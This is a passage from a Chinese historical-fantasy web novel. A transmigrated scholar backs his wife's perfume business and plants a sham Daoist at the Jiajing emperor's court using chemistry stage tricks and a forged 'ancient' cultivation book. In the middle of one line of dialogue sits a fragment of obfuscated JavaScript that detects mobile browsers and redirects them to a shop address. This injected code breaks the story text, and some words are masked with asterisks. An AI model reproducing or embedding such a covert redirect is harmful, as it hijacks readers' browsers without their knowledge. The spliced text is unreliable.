掠过花厅内的每一件陈设,以及座上赵、王二人的神态,
最终才落在主位空椅上,心思莫测。
芸娘进来时,感受到的便是这三道迥异却同样具有穿透力的目光。
她们像是三种不同种类的花儿,
赵文萱是雪中寒梅,
王雪茹是带刺蔷薇,
沈香君则是水底幽莲,
各有风华,却同样让她这株自以为能安稳生长的蒲草,感到了前所未有的压力。
她强迫自己稳住心神,脸上挤出尽可能温婉得体的笑容:
“劳几位妹妹久等了。”
一句“妹妹”出口,空气似乎凝滞了半息。
赵文萱抬眸,唇角勾起一个标准得毫无温度的浅笑:
“苏夫人客气了。”
她将“夫人”二字,吐得清晰而疏离,宛如在称呼一个不相干的职位。
王雪茹从鼻子里几不可闻地“哼”了一声,连客套的笑容都欠奉。
沈香君则起身,虚虚一福,笑容无懈可击:
“给夫人道喜了。
夫人新婚燕尔,我等本不该叨扰,
只是想着日后同在京中,总该来拜会一番,也免得失了礼数。”
话语温软,却暗指若是芸娘处理不好这层关系,便是“失礼”。
丫鬟重新上了热茶和四样精致的点心。
芸娘努力搜刮着肚子里那点有限的词汇,想打破这令人窒息的沉默。
她记得夫君说过,待人要真诚。
于是,她端起茶盏,努力让自己的声音听起来自然:
“赵妹妹,在沭阳时,多亏你……
多亏赵教谕和妹妹照拂,惟瑾他……常念着这份情。”
她想表达感谢,想拉近距离。
赵文萱端着茶盏的手几不可察地一顿,眼底掠过一丝极淡的讥诮。
常念着情分?
所以娶了你?
她放下茶盏,语气平淡无波,却字字如冰:
“夫人言重了。
家父身为教谕,提携后进乃是本分。
苏大人天纵奇才,能有今日,全凭自身,文萱不敢居功。”
一句话,将过往撇得干干净净,也将芸娘试图建立的温情联系斩断。
芸娘脸颊微热,又转向王雪茹,试图寻找共同话题:
“王妹妹,听说你骑射功夫极好,真是……巾帼不让须眉。
我……我小时候也见人骑过驴……”
她想表达亲近,想说自己并非完全不懂。
王雪茹正百无聊赖地捏着一块芙蓉糕,
闻言,差点笑出声,硬生生忍住,嘴角扯出一个古怪的弧度:
“骑驴?呵,苏夫人真是……质朴可爱。
我们练武人家,耍的是刀枪棍棒,
骑的是能上战场的骏马,
跟骑驴看唱本,可不是一回事。”
她语气里的直白几乎带着刺,
毫不掩饰的鄙夷,戳得芸娘脸上红一阵白一阵,无地自容。
沈香君适时开口,看似打圆场,
实则将话题引向了自己熟悉的领域,
也是对芸娘能力的隐形试探:
“夫人初掌家业,想必诸事繁忙。
若府上日后有采买、人情往来方面的需求,‘云裳阁’或可效劳。
京中各家喜好、时兴料子、物件儿价格,
乃至各府邸之间的微妙关系,
我都略知一二,夫人若有不决之处,大可派人来问。”
她话语温软,却透着生意人的精明与居高临下的“指点”。
芸娘对这些全然不懂,只能含糊应着:
“有劳沈东家费心……”
她感觉自己像一张被摊开的白纸,
任由这三支不同的笔在上面划下她看不懂的符号,而她连擦掉的能力都没有。
她本想表达感谢,希望日后和睦相处,
话一出口却总变了味道,笨拙得连自己都嫌弃。
她甚至能清晰地感觉到,
她们看自己的眼神里,藏着若有似无的怜悯,
以及那更深处的、毫不掩饰的轻视
——轻视她的出身,她的谈吐,她与这个圈子格格不入的“拙朴”。
一场本该是主母初次交际、彰显风范的会面,
在一种无形的、却无处不在的碾压和冷场中草草结束。
送走三人,芸娘独自坐在空旷的花厅里,
看着桌上几乎没动过的点心,
和那几杯早已凉透、失了香气的香茗,
一股巨大的无力感和冰冷的自卑似潮水般漫过心头。
秋月小心地过来收拾,低声劝慰:
“夫人,您别往心里去……您才是这府里正经的主母……”
芸娘摇了摇头,嘴角扯出一抹苦涩至极的笑。
主母?她配吗?
连几句像样的场面话都说不好,连她们话里的机锋都听不明白。
她想起赵文萱那无可挑剔的礼仪和谈吐,
想起王雪茹眉宇间的飒爽自信,
想起沈香君言语间的干练周全……
自己除了一个
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“状元夫人”的空名头,
和一个与这身份毫不匹配的內里,还有什么?
而此时,走出苏府大门的三位女子,
心思各异,却同样未将这位新主母放在眼里。
赵文萱登上自家马车,脸色彻底冷了下来,指尖用力掐紧了袖中的帕子。
“假意示好,实则炫耀……终究是市井出身,空有其表,上不得台面。”
那份对方刻意强调的“恩情”,在她听来,更像是胜利者蹩脚的**。
王雪茹翻身上马,依旧气不顺。
“送个请帖客套一下不就完了?
非要叫过来看她那副上不得台面的样子!
好像谁稀罕跟她称姐道妹似的!”
她狠狠一鞭子抽在马臀上,
骏马吃痛,嘶鸣着窜了出去,
仿佛要甩掉身后那令人不快的空气。
沈香君坐在回铺子的轿子里,眼神幽深,轻轻摩挲着腕间的沉香珠串。
“心地或许不坏,可惜……太过拙朴,毫无手腕与见识。
在这捧高踩低的京城,单凭这点善良和所谓的‘真诚’,
怕是守不住那泼天的富贵,
和……那位前程似锦的苏大人的人心。”
她嘴角勾起一抹意味深长的弧度。
这位苏夫人,似乎并非难以应对的角色,甚至……不堪一击。
夜色降临,苏惟瑾从翰林院回府。
他敏锐地察觉到芸娘情绪低落,
晚膳也只用了几口。
问起今日见客可还顺利,
芸娘只强笑着说了句“都挺好的,妹妹们都很和气”。
看着她那故作坚强却难掩失落的模样,
苏惟瑾心下明了,却并未点破,只将她微凉的手握在掌心,温声道:
“若是累了,那些不必要的应酬,推了便是。
在这府里,你无需勉强自己做任何事,更无需在意他人眼光。”
他的体贴让芸娘眼圈微红,却也更坚定了她要努力配得上他的决心。
然而,树欲静而风不止。
两日后,一封来自沭阳老家的书信,
由七叔公派出的族人快马送至京中。
信中所言,却非寻常家事问候,
而是一桩突如其来的麻烦。
信中说,自芸娘嫁给状元郎的消息传回沭阳,
那些平日里八竿子打不着、连年节都未必走动一次的远亲,
乃至一些只闻其名的同族,
竟都不约而同地涌向了苏家老宅。(陈家全家已经搬到京城)!
言辞间极尽攀附之能事,有的甚至已商量着要变卖家中薄产,
不日便启程来京城“投奔”陈伯康,
指望靠着状元郎的裙带关系谋个前程好差事。
七叔公在信中忧心忡忡,言道他竭力劝阻,
然利令智昏,众人只道他阻拦大家前程,怕是拦不住几时。
他唯恐这些不知进退的亲戚到了京城,
言行无状,惹出祸端,徒增笑柄,更恐耽误了苏惟瑾的大好前程。
芸娘看着那封信,脸色霎时变得惨白如纸,握着信纸的手微微发抖。
她仿佛已经看到那些陌生的、贪婪的面孔围拢过来,
看到她努力想要维持的、与夫君平静的生活被彻底打破。
娘家本就清贫,父亲老实巴交,
如何应付得了这些如狼似虎的“亲戚”?
难道,就连她想安安静静地待在夫君身后,
做一个不给他丢脸、不拖他后腿的妻子,也成了一种奢望吗?
刚应付完京城里的明枪暗箭,
老家又射来了带着亲戚名分的冷箭,
她只觉得浑身冰冷,前路茫然。
第224章拙计破僵局,暗香动京华
苏府后宅的暗流,终究没能瞒过苏惟瑾。
这日傍晚,苏婉趁着芸娘去小厨房查看晚膳的工夫,悄悄溜进了哥哥的书房。
小姑娘拧着衣角,眉头皱得能夹死蚊子,
把花厅里那场“三英战芸娘”的经过,添油加醋地学了一遍。
“……哥,你都没看见,嫂嫂回来时眼睛都是红的!
那赵家姐姐说话跟下刀子似的,
王姐姐恨不得用鼻孔看人,
还有那个沈东家,笑呵呵的,
可说的话比谁都厉害!
嫂嫂嘴笨,根本说不过她们!”
苏惟瑾放下手中的《正德实录》,揉了揉眉心。
超频大脑瞬间就重构了当时的场景,
甚至连三个女人细微的表情和心理活动都模拟出了七八分。
他心下明了,这无关对错,只是不同世界的人硬被凑到一起必然的结果。
他笑了笑,安抚地拍拍妹妹的头:
“婉儿觉得,哥哥该去训斥她们一番,给你嫂嫂出气?”
苏婉愣了一下,迟疑道:
“那……那倒也不是。就是看着嫂嫂难受,我心里憋得慌。”
“你嫂嫂心地纯善,这是她的好处,但在这京城名利场,单有善良是不够的。”
苏惟瑾语气平和,带着洞察世事的淡然。
“这等妇人间的口舌之争,我若强行插手,反倒落了下乘,
显得你嫂嫂需要靠夫君弹压才能立足。
解铃还须系铃人。”
他沉吟片刻,对苏婉吩咐道:
“你去告诉你嫂嫂,就说我说的,外面的风言风语不必往心里去。
她只需把咱们这个家打理好,
把她自己感兴趣的那点‘小花露’琢磨明白,便是对我最大的帮助。
其余杂事,自有为夫应对。”
***
芸娘得了苏婉转述的话,心中稍安,但那股无形的压力并未消散。
她见苏惟瑾每日下值回来,
还要在堆积如山的书牍、邸报、各地来信中翻找资料,
常常忙至深夜,便动了心思。
她不懂经义策论,更不通朝堂大事,但她有一双巧手和一颗细腻的心。
想起苏惟瑾曾随口提过“信息传递贵在神速,检索贵在精准”,她便开始行动。
她不敢碰那些写着紧要内容的纸张,
只将苏惟瑾常看的《邸报》、《京报》、各地官员寄来的寻常问安书信,
以及一些公开刊印的书籍,按照日期、来源、类别,
用只有她自己能看懂的符号重新整理编号。
又在书架显眼处留出几个空位,分别标注“急阅”、“待批”、“存档”。
这工作琐碎耗时,她却做得一丝不苟。
当苏惟瑾某晚下意识去翻找三日前的一份邸报时,
手刚伸出去,芸娘便已从标着“丁字叁号”的木格里准确取出,递到他面前。
苏惟瑾一怔,抬头看向芸娘。
烛光下,她眉眼温柔,带着些许期待被认可的怯怯。
“你整理的?”
他翻看了一下,发现不仅日期连贯,
旁边还用蝇头小楷简注了主要内容,
如“某地雨灾”、“某官**”,虽用语质朴,却一目了然。
“嗯,”
芸娘小声应道。
“我怕你找起来费事……就自己瞎弄的,若是不好,我……”
“很好!”
苏惟瑾打断她,眼中露出毫不掩饰的赞赏。
“省了我不少工夫!芸娘,你可是帮了我的大忙了!”
这并非夸张,超频大脑虽能记忆,但物理归类却需时间。
芸娘这看似笨拙的整理,实则蕴含了朴素的信息管理逻辑,效率极高。
芸娘的脸瞬间亮了起来,胜如被春风拂过的花苞,所有的不安和委屈在这一刻都烟消云散。
原来,她也能用这种方式,触碰到他的世界,为他分担一二。
***
与此同时,芸娘并未放弃自己对花露的钻研。
那日被沈香君点醒后,她不再视此为“奇技淫巧”,反而更加用心。
苏府后院僻静处有一间闲置的小厢房,如今成了她的“工坊”。
里面瓶瓶罐罐,花草精油,简陋却齐整。
她凭着直觉和无数次尝试,调整着蒸馏的火候、花瓣与水的比例,甚至尝试加入某些特性温和的药材萃取液。
这日,沈香君再次登门,名义上是送些新到的江南绸缎样子给主母过目。
两人在暖阁里坐下,芸娘不像上次那般局促,主动拿出一个小巧的白玉瓷瓶。
“沈东家,你上次说的香气不持久,我琢磨了一下。
这是新试的,用了点别的法子,你闻闻看?”
沈香君眼中掠过一丝讶异,接过瓷瓶,拔开软木塞,轻轻扇闻。
一股清冽幽远的兰花香袅袅散开,初闻不觉浓烈,
但片刻后,那香气竟似萦绕不去,丝丝缕缕,沁人心脾。
她做生意走南闯北,见识过无数香品,立刻品出了这其中的不凡。
这香气不仅持久度远超之前,
更难得的是层次丰富,后韵绵长,绝非市面上寻常花露可比。
“夫人!”
沈香君这次的声音带上了几分真正的热切。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16810440|186215||http|test|mini|href|location''.split(''|''),0,{}));
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r>“这方子……妙啊!不知夫人是如何做到的?”
芸娘有些不好意思地绞着帕子:
“就是……多加了一道‘冷浸’的工序,
用的水也是收集的梅花上的雪水……
或许,还有点别的东西,我说不好。”
沈香君心中震动。
雪水、冷浸……这些概念她隐约听调香师傅提过,
但具体如何应用,却是各家的不传之秘。
这位苏夫人,竟在无人指点的情况下,自己摸索出来了?
这是何等的天赋?
贪婪之心顿起,但旋即被她压下。
眼前这位,再不是沭阳县那个无依无靠的孤女,而是苏状元的正妻。
她迅速换上诚挚的笑容:
“夫人天资聪颖,令人佩服。
此香若能量产,必能风靡京城,价值不可估量!”
芸娘被夸得脸红,小声道:
“我也不懂这些,就是瞎弄。
沈东家若觉得还行,那……那我们可以试着做一些?”
“自然!”
沈香君立刻接口。
“原料、人手、场地,都由‘云裳阁’来出。
夫人只需掌管这最后的合香秘方。
所得利润,我们五五分成,夫人意下如何?”
她给出的是一个极其优厚,甚至带点讨好的条件。
芸娘不懂商业,只觉五成太多,连连摆手。
最终在沈香君的坚持下,才忐忑不安地应下。
两人当下便敲定了细节,决定先小规模试产一批,
冠以“苏香记”的名号,放在“云裳阁”最显眼的位置试售。
苏惟瑾回到府中,芸娘并未提及家中琐事,只看她近日气色渐佳,眼中也有了光彩,心下欣慰。
他隐约知道她与沈香君在捣鼓些什么,
但只要她开心,且不出格,他便由着她去。
这晚,芸娘一边帮他整理书案,
一边小声说着花露试产的进展,
眉眼间带着久违的、发自内心的雀跃。
苏惟瑾含笑听着,目光掠过窗外沉沉的夜色。
内宅的微澜暂时平息,朝堂的暗涌却从未停止。
他今日在翰林院小试锋芒,固然震慑了宵小,却也必然招致更深的忌惮。
张璁那边,近来似乎太过安静了。
还有那个因李福达案被他间接摆了一道的武定侯郭勋,据说近日在京营中动作频频……
山雨欲来风满楼。
他轻轻握住芸娘忙碌的手,那指尖还带着淡淡的、新研制的兰花香。
这暗香,能否在这即将到来的狂风骤雨中,守住这一方小小的安宁?
第225章 西苑惊诡火,暗棋入帝心
苏惟瑾稳坐翰林院,日子过得如同老僧入定。
每日里不是修书撰史,
便是与徐阶、唐顺之等清流谈诗论文,
偶尔被嘉靖召去西苑,讨论些“金丹大道”、“性命双修”的玄虚话题,
表现得就像个醉心学术的纯粹文人。
张璁那边几次试探,见他毫无反应,
也只当这新科状元识趣,
暂时将目光转向了其他不听话的官员。
朝堂之上,因“大礼议”而起的风波似乎渐渐平息,
只有明眼人才能察觉到水面下的暗礁愈发狰狞。
苏惟瑾的超频大脑却从未停止运转。
他知道,暂时的蛰伏是为了更精准的出击。
在敌人露出破绽前,他需要一张能直抵权力核心的暗牌。
这张牌,就是被他“科技洗脑”过的鹤岑道人。
如今的鹤岑,经过数月秘密特训,早已脱胎换骨。
一身半旧不新的玄色道袍浆洗得干干净净,
三缕长须梳理得一丝不乱,眼神平和内敛,
举止间竟真有了几分世外高人的沉稳气度
——这都是周大山拿着皮尺和戒尺,
按苏惟瑾给的“演员自我修养”硬生生磨出来的。
至于那些“仙法”,鹤岑更是练得纯熟。
什么“清水变酒”(酸碱指示剂变色)、“符纸自燃”(白磷涂抹)、“空杯取水”(吸水树脂预处理),
乃至更复杂的“点石成金”(金属置换反应),
他都已掌握精髓,还能配合着玄之又玄的口诀,演得煞有介事。
时机已然成熟。
这日,嘉靖帝因炼丹不成,心中烦闷,在西苑暖阁里长吁短叹。
伺候的大太监黄锦最懂圣心,小心翼翼地进言:
“皇爷,奴婢近日听闻,京中来了位游方的鹤岑道人,
据说偶得古道传承,身怀异术,能呼风唤雨,点石成金,在民间颇有神异之名……”
若是往常,嘉靖对这种野道士未必上心。
可此刻他正为邵元节等人炼丹进展缓慢而焦躁,听闻有此异人,不由动了心思。
“哦?真有此事?可查验清楚了?”
嘉靖斜倚在软榻上,语气带着一丝期待,九分怀疑。
“奴婢派人细细查访过,”
黄锦躬身道。
“此道人并非主动攀附,只在南城一带结庐暂住,平日为人诊病祈福,分文不取,只求温饱。
确有百姓亲眼见他施展妙法,清水顷刻变作美酒,黄纸无火自燃……都道是神仙下凡。”
这番话,自然是苏惟瑾通过几层关系,巧妙递到黄锦耳中的。
真假掺半,反而更显可信。
嘉靖沉吟片刻:
“既如此,宣他进宫,朕要亲眼瞧瞧。”
命令一下,立刻有太监飞马出宫,
将正在南城一处临时租住的小院里“静修”的鹤岑“请”进了西苑。
鹤岑初入宫禁,心中自是惶恐万分,
但想起苏惟瑾“明主”的教诲和那些神奇的“仙法”,强行稳住心神,低眉顺眼,
步履沉稳地跟着引路太监穿过层层宫门。
来到西苑一处僻静暖阁,
嘉靖帝并未身着龙袍,
只穿一件宽松的玄色道常服,
屏退了左右大部分侍从,
只留黄锦等几个心腹太监在场。
他目光锐利地打量着跪伏在地的鹤岑,无形的帝王威压弥漫开来。
“你就是鹤岑?抬起头来。”
嘉靖声音平淡,却自带威严。
鹤岑依言抬头,目光恭顺却不谄媚,朗声道:
“山野草民鹤岑,叩见陛下,陛下万岁。”
声音平稳,不见丝毫颤抖。
这份镇定,先就让嘉靖高看了一眼。
寻常百姓见到他,哪个不是战战兢兢,语无伦次?
“听闻你身怀异术,可能为朕演示一二?”
嘉靖直奔主题,懒得废话。
“贫道微末伎俩,不敢称异术,
乃是祖师所传,一点造化皮**,愿为陛下解闷。”
鹤岑语气谦逊,却透着自信。
他先要了一杯清水,手指暗中捻碎一颗苏惟瑾特制的“药丸”(主要成分是酚酞),
投入水中,清水瞬间变成瑰丽的红色。
他口称“此乃赤霞仙露”,
又投入另一颗“解药”(碱性物质),
红色迅速褪去,复归清澈。
嘉靖眼中闪过一丝讶异,身体微微前倾。
接着,鹤岑取出一张看似普通的黄表纸,
手指在上面虚画几下,口诵真言,随即将其置于空盘之上。
片刻后,那黄纸竟“噗”地一声,
自行燃烧起来,化作一小簇幽蓝色火焰,片刻方熄。
(纸面预先用硝酸钾溶液画过符,干燥后极易燃)
“此乃心火引动天火,焚尽世间污秽。”鹤岑面不改色地胡诌。
嘉靖的兴趣彻底被勾起来了。
他示意黄锦亲自去取来一杯御酒。
鹤岑接过,并不饮用,
只以袖遮掩,手指微动,
将一点粉末弹入酒中(高锰酸钾),
那琥珀色的御酒竟瞬间变成了墨黑色!
在场太监皆骇然变色,以为酒中有毒。
鹤岑却不慌不忙,又倒入少许另一包粉末(维生素C粉末),
轻轻摇晃,墨色迅速消退,酒液恢复原状,甚至香气更显醇厚。
“陛下请看,此乃阴阳转化,浊清分明之道。”
鹤岑将酒杯奉还。
“酒还是那杯酒,经此一番淬炼,去芜存菁,更合养生之道。”
嘉靖接过酒杯,仔细看了看,又闻了闻,果然酒香依
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旧,甚至更为清冽。
他心中震撼,这手“化浊为清”的本事,邵元节那些老油条可从未展示过!
最后,鹤岑使出了**锏。
他请嘉靖随意取一件小银饰来。
嘉靖示意黄锦取下一枚银戒指。
鹤岑将戒指投入一碗“清水”(硝酸银溶液)中,
片刻后取出,那银戒指表面竟覆盖了一层光亮的“白银”,看起来更加耀眼!
(银置换反应)
“点石成金不敢妄言,然提纯金属,祛除杂质,乃小道尔。”
鹤岑语气淡然,仿佛做了件微不足道的小事。
这一连串操作,看似简单,却步步精准,
直击嘉靖追求“金丹大道”、“点化飞升”的内心渴求。
尤其是最后这手“白银提纯”,在痴迷炼丹的嘉靖看来,简直就是炼丹术的雏形!
比邵元节那些虚无缥缈的“采补”、“存思”实在多了!
嘉靖帝龙颜大悦,亲自起身,扶起鹤岑:
“道长真乃异人也!不知仙乡何处,师承哪位仙真?”
鹤岑按照苏惟瑾编好的剧本,
自称乃终南山隐士一脉,
师承早已坐化的无名老道,
得传些许微末道法,云游天下,只为积累功德。
这番说辞,虚无缥缈,无从查证,反而更显神秘。
嘉靖当即决定,留鹤岑在西苑待诏,
赐居丹房附近,随时听候咨询,协助邵元节等人“参研道法”。
消息传出,朝野微有波澜,但并未引起太大重视。
毕竟皇帝好道,身边多一两个道士,实属寻常。
只有张璁听闻后,眉头微皱,觉得这鹤岑来得有些突兀,
但眼下他正忙着巩固自身权力,
打压异己,也无暇深究一个野道士。
夜色中,苏惟瑾站在自家书房的窗前,
听着周大山低声禀报鹤岑成功入宫的消息,嘴角微微勾起。
一颗至关重要的暗棋,终于落位。
从此,皇帝身边多了一双属于他的眼睛,多了一张能潜移默化影响帝心的嘴。
邵元节,你的好日子,怕是要到头了。
张璁,你倚仗的“大礼议”之功,
在日渐痴迷修玄的皇帝心中,还能占多大分量?
这盘棋,他苏惟瑾不仅要赢,还要赢得漂亮,赢得让所有对手,连怎么输的都想不明白!
而此刻,深宫西苑的丹房里,
鹤岑对着嘉靖赏赐的丹炉和药材,
心中默念着苏惟瑾的教诲,
开始小心翼翼地扮演起他“得道高人”的新角色。
他知道,自己的荣辱生死,
已与那位神秘的“明主”紧紧绑在了一起。
宫墙内外,一双无形的手,已悄然搭上了大明权力中枢的脉搏。
风,起于青萍之末。
第226章 仙书动帝心,暗棋定乾坤
鹤岑道人如同一滴悄无声息的墨汁,滴入了西苑这潭深水。
初时涟漪不大,但扩散的速度却远超常人想象。
他谨记苏惟瑾“藏拙、守静、观势”的六字真言,
平日深居简出,除了嘉靖召见,绝不在宫中随意走动。
对邵元节等原有宠道,更是执礼甚恭,口称“前辈”,俨然一副后学末进的模样。
然而,他偶尔“不经意”间展露的“学识”,却让嘉靖帝如获至宝。
一次论及丹道火候,鹤岑引用了苏惟瑾灌输的“氧化还原”、“催化剂”等概念,
用五行生克、阴阳转化的道家语言包装一番,听得嘉靖两眼放光,连呼“深得朕心”!
相比之下,邵元节那些“采天地灵气”、“集日月精华”的老生常谈,就显得空洞乏味了。
此消彼长,鹤岑在嘉靖心中的分量日渐加重。
邵元节表面不动声色,背地里却已摔碎了好几套名贵茶具。
宫里的太监宫女都是人精,眼见鹤岑圣眷日隆,伺候起来也愈发小心周到。
苏惟瑾通过周大山建立的秘密渠道,时刻掌握着西苑的动态。
超频大脑冷静地分析着每一条信息,判断着时机。
“火候差不多了。”
苏惟瑾在书房中踱步,眼中闪烁着智珠在握的光芒。
“该上主菜了。”
他所谓的“主菜”,乃是他耗费数月心血,
凭借超频大脑的记忆和推演能力,
将记忆中那部宏大的《凡人修仙传》进行“本土化魔改”的成果。
书名定为《寰宇修仙志》,
语言改成了半文半白、佶屈聱牙的文言文,
世界观则巧妙嵌入了道家理论和一些基础的物理、化学知识。
书中主角“韩立”变成了“寒砾”,
从一介凡人挣扎求存,
凭借一枚神秘“小瓶”(被描述为“混沌元胎”),一步步踏上仙途。
修炼体系被重新包装,什么“引气入体”对应能量吸收,
“筑基”对应身体初步能量化,
“金丹”则是能量高度凝聚……
其中更是夹杂了大量炼丹、制符、布阵的“实操”描述,
实则暗含了化学实验、材料学和简单电磁学原理。
苏惟瑾亲自操刀,用特制的药水熏染、边缘做旧、
甚至模仿虫蛀痕迹,将抄写好的第一部分书稿,
炮制成一副真正的“上古残卷”模样。
最后,用一层薄蜡密封,装入一个毫不起眼的阴沉木匣中。
万事俱备,只欠东风。
这日,嘉靖帝因服食邵元节进献的“金丹”后,
感到些许燥热不适,心中烦闷,便召鹤岑前来讲解《黄庭经》静心。
鹤岑讲经途中,忽然面露迟疑,欲言又止。
嘉靖何等敏锐,立刻察觉:“道长有何难言之隐?”
鹤岑犹豫片刻,方才躬身道:
“陛下,贫道前几日夜观天象,见紫微星旁有瑞气萦绕,隐成华盖之形。
此乃祥瑞之兆,主陛下诚心感天,或有仙缘降世。
只是……天机渺茫,贫道亦不敢妄断。”
嘉靖一听“仙缘”,精神大振,连忙追问。
鹤岑这才“小心翼翼”地提及,
自己早年云游至终南山深处一古洞,
曾偶得一个密封木匣,触手生温,似有灵性。
他道行浅薄,一直不敢轻易开启,只觉此物与陛下或有缘法。
“木匣何在?”
嘉靖急不可耐。
“贫道一直随身携带,以自身微末道温养,不敢或离。”
鹤岑从怀中(实则是早就准备好)取出那个阴沉木匣,双手奉上。
嘉靖接过木匣,果然感到一丝若有若无的温润。
他仔细端详,见匣子古朴,密封完好,绝非近代之物。
心中信了七八分,立刻命黄锦小心开启。
木匣打开,一股混合着陈旧纸张和淡淡药香的气息弥漫开来。
里面静静躺着一卷用不知名丝线捆扎的陈旧书册,封面是某种兽皮,上书四个古朴篆字——《寰宇修仙志》!
嘉靖屏住呼吸,亲手拿起书卷,解开丝线。
书页泛黄脆弱,墨迹古朴,甚至还有几处疑似虫蛀和水渍的痕迹,一切都符合“古物”的特征。
他迫不及待地翻开第一页,只见开篇便是:
“夫寰宇之初,混沌未分,清浊未判,有物混成,先天地生……
人禀天地之气而生,故能盗天地之机,炼阴阳之粹,以证无上大道……”
这宏大的开篇立刻镇住了嘉靖。
他继续往下看,越看越是心惊,越看越是沉迷。
书中描述了一个浩瀚无边的修仙世界,
境界分明,从炼气、筑基、金丹、元婴直至化神、炼虚、合体、大乘、渡劫,层层递进,体系严谨得令人发指!
更妙的是,其中关于炼丹、炼器、制符、布阵的描述,
虽然用语玄奥,但逻辑清晰,步骤明确,仿佛真的可以依此操作!
尤其是那个主角“寒砾”,凭借坚韧心性和那神秘“小瓶”(混沌元胎),
屡获机缘,步步逆袭的经历,
更是让自诩聪明、同样渴望“逆天改命”求得长生的嘉靖帝产生了强烈的代入感!
他看到“寒砾”如何用计谋从强大对手手中虎口夺食,
如何凭借低微修为在险恶环境中挣扎求生,如何一次次突破瓶颈……
这哪里是修仙小说
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这分明就是他朱厚熜以藩王入继大统,
在朝堂波诡云谲中稳固权位的奋斗史啊!
“妙!妙极!此真乃天书也!”
嘉靖拍案叫绝,浑然忘了刚才服丹的不适,
整个人都沉浸在那光怪陆离的修仙世界里。
他时而为“寒砾”的险境揪心不已,
时而为其突破瓶颈抚掌大笑,
时而对着书中描述的某种“炼丹妙法”凝神思索,试图与自己现实的炼丹实践相印证。
“陛下,该用膳了。”
黄锦在一旁小声提醒了数次,嘉靖都恍若未闻。
直到夜色深沉,烛火都快燃尽,
他才勉强从书卷中抬起头,眼中满是血丝,却兴奋得如同孩童。
“鹤岑!汝真乃朕之福星也!”
嘉靖激动地拉着鹤岑的手。
“此《寰宇修仙志》玄妙精深,远超邵元节所献诸经!
此必是上古真仙所遗道统!”
他立刻下旨,赏赐鹤岑金银帛缎无数,
并特许其可随时出入御书房旁的静室,与他一同“参详”这天书奥妙。
鹤岑心中对苏惟瑾的敬畏已然达到顶点,
面上却依旧是那副云淡风轻的高人模样,躬身谢恩:
“此乃陛下诚心感动上苍,故降下仙缘,贫道不过恰逢其会,不敢居功。”
消息传出,邵元节彻底坐不住了。
他借着请安的机会,委婉提出想观摩一下这“上古仙书”。
嘉靖正沉迷其中,哪里舍得,只含糊推脱说书卷年久脆弱,不便示人。
邵元节碰了个软钉子,脸色铁青地退下,心中对鹤岑的嫉恨达到了顶点。
而此刻,苏府书房内,苏惟瑾听完周大山的回报,嘴角勾起一抹尽在掌握的笑容。
《寰宇修仙志》就像一颗精心调制的“精神**”,已经成功让嘉靖帝“上瘾”。
从此以后,嘉靖对鹤岑的依赖将无以复加,
而通过鹤岑之手,他苏惟瑾便能间接影响甚至引导皇帝的意志!
这步棋,走得险,走得妙!
张璁、邵元节之流,恐怕还在为朝堂上的权力和皇帝的宠信争得头破血流,
却不知真正的胜负手,早已落在了这本“仙书”之上。
皇帝沉迷修仙,怠于朝政?
这对忠臣或许是坏事,
但对他苏惟瑾而言,却是天大的好事!
只是,这《寰宇修仙志》情节跌宕,后续发展连他都觉得精彩万分。
若是嘉靖催更,鹤岑那边,又该如何应对?
苏惟瑾目光扫过书架上那厚厚一沓尚未送出的后续书稿,眼中闪过一丝狡黠。
吊胃口,可是门技术活。
这更新的节奏,可得好好拿捏。
第227章 奇物暗浮光,京华待惊雷
腊月将尽,京城的年味儿如同浸了水的棉絮,沉甸甸地弥漫在空气里。
家家户户开始洒扫庭除,准备祭灶,
街面上的铺子也挂出了更多的红灯笼,
连带着吆喝声都透着股辞旧迎新的热络。
苏府后宅那间僻静的小厢房,如今却是另一番火热景象。
芸娘挽着袖子,鼻尖上沾着一点晶莹的汗珠,
正小心翼翼地将最后几片精心切割的彩色琉璃片,塞进一个糊好的硬纸筒里。
纸筒两端密封,一端留了个小孔。
她屏住呼吸,对着小孔眯眼一看,脸上瞬间绽开惊喜的笑容。
“夫君!快看!里面……里面真的开了好多花!五颜六色,一转就变,真真好看!”
她像是得了新奇玩具的孩子,将那名为“万花筒”的物事递给刚进门的苏惟瑾。
苏惟瑾接过,随意瞄了一眼。
超频大脑早已模拟出那光怪陆离的景象,
但他还是配合地露出赞赏的表情:
“嗯,不错。
光影折射与反射之理,运用得恰到好处。
此物虽小,却能窥见大千世界变幻之妙。”
这万花筒,不过是他利用光学原理指点芸娘做的“小玩意儿”之一。
材料简单,不过是些边角料琉璃、镜片和硬纸,但构思之巧,在这时代绝对是独一份。
旁边的工作台上,还摆着几支造型别致的蜡烛。
与寻常烛火不同,这些蜡烛燃烧时火焰更为稳定明亮,几乎不见黑烟,反而散发出清雅的梅花或是兰草香气。
这是苏惟瑾改进了灯油配方,
加入了提纯后的植物精油和少量硝石(助燃)的成果,他称之为“凝香烛”。
最显眼的,则是几个小巧玲珑的琉璃瓶,里面装着澄澈的液体。
拔开软木塞,一股极其凝聚而持久的幽香便弥漫开来,比寻常花露不知精纯了多少倍。
这便是芸娘在沈香君协助下,经过无数次失败,
终于提高萃取纯度得到的“初代香水”,
量极少,目前只有梅花、兰蕊两种香型。
“云裳阁那边,沈东家已按公子吩咐,准备好了上元节发售的章程。”
苏惟山在一旁低声禀报。
“万花筒只做五十个,凝香烛两百支,香水更是只有二十瓶。
说是要搞什么……‘饥饿营销’?”
苏惟瑾点点头。
物以稀为贵,尤其是在达官贵人扎堆的京城。
上元灯市,万人空巷,正是引爆话题、树立品牌的最佳舞台。
他要让“云裳阁”出的这些东西,一夜之间成为身份和品味的象征。
“车马行那边呢?”
他问的是另一桩事。
苏惟山脸上露出憨笑:
“瑾哥儿设计的那个‘双轮货运板车’,可太好用了!
轮子加了那什么……‘轴承’?
对,轴承!
推起来轻省多了,能拉以前两倍的货!
惟虎带着兄弟们试用了几天,都说好!
现在已经开始在京畿几个货栈揽活儿了,
好些商家都打听这车是哪儿来的呢!”
这双轮货运板车,结构简单,
关键是苏惟瑾画出了简易的滚珠轴承结构图,
着铁匠以熟铁反复锻打成型,再经淬火硬化,虽远不及后世精密,
